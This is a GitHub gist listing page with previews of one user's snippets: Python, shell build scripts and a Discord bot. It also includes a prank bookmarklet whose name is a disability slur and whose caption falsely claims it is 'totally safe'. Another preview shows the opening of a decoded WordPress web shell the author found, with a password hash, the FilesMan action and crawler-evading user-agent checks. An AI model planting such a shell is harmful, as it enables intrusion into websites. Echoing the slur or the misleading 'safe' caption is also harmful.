Skip to content

Instantly share code, notes, and snippets.

View infinityplusone's full-sized avatar

Jonathan "Yoni" Knoll infinityplusone

View GitHub Profile
@infinityplusone
infinityplusone / dictionary_inversion.py
Created December 30, 2011 03:46
Expanded dictionary inversion in Python (July 11, 2006)
# This is actually just a variant of a recipe I posted to ActiveState over five years ago.
# Location: http://code.activestate.com/recipes/496881-expanded-dictionary-inversion/
# the actual code that matters here. first argument must be a dictionary.
def invert(d, unique=False):
dd = {}
for k, v in d.items():
if not isinstance(v, (tuple, list)): v = [v]
if unique:
@infinityplusone
infinityplusone / retardify.js
Created February 23, 2013 01:17
retardify Just create a bookmark and make this the destination. Totally safe, I promise.
javascript:(function()%7Btry%7Bvar%20imgs=document.images;for(var%20i=0,iLen=imgs.length;i<iLen;i++)%7Bimgs[i].width=imgs[i].offsetWidth;imgs[i].height=imgs[i].offsetHeight;imgs[i].src='http://f.cl.ly/items/3P2F240z362q472t2117/retards-we-all-know-one.jpg';}%7Dcatch(err)%7B%7D%7D)();
@infinityplusone
infinityplusone / build
Created September 29, 2016 15:33
Build script
#!/bin/sh
# Formatting variables
blackBG='\033[1;40m'
cyan='\033[1;36m'$blackBG
gray='\033[1;37m'$blackBG
green='\033[1;32m'$blackBG
purple='\033[1;35m'$blackBG
red='\033[0;31m'$blackBG
yellow='\033[1;33m'$blackBG
@infinityplusone
infinityplusone / wp-hack-decoded-and-reversed.php
Last active December 19, 2016 16:34
WP Hack – I just discovered this evil shit
<?php
$auth_pass = "d03f9623212689c61c123beddc35acdb";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@infinityplusone
infinityplusone / build.sh
Created December 4, 2019 17:04
My build script, more or less.
#!/bin/sh
# Formatting variables
blackBG='\033[1;40m'
cyan='\033[1;36m'$blackBG
gray='\033[1;37m'$blackBG
green='\033[1;32m'$blackBG
purple='\033[1;35m'$blackBG
red='\033[0;31m'$blackBG
yellow='\033[1;33m'$blackBG
@infinityplusone
infinityplusone / index.js
Created January 27, 2020 06:12
Simple, complete example of a bot in Discord.js
// Load up the discord.js library
const Discord = require("discord.js");
// This is your client. Some people call it `bot`, some people call it `self`,
// some might call it `cootchie`. Either way, when you see `client.something`, or `bot.something`,
// this is what we're refering to. Your client.
const client = new Discord.Client();
// Here we load the config.json file that contains our token and our prefix values.
const config = require("./config.json");

Keybase proof

I hereby claim:

  • I am infinityplusone on github.
  • I am infinityplusone (https://keybase.io/infinityplusone) on keybase.
  • I have a public key ASC0Pq69t__JxlRU-ynoxtJiO47OUPLsGi_uDwMnGsuAzwo

To claim this, I am signing this object: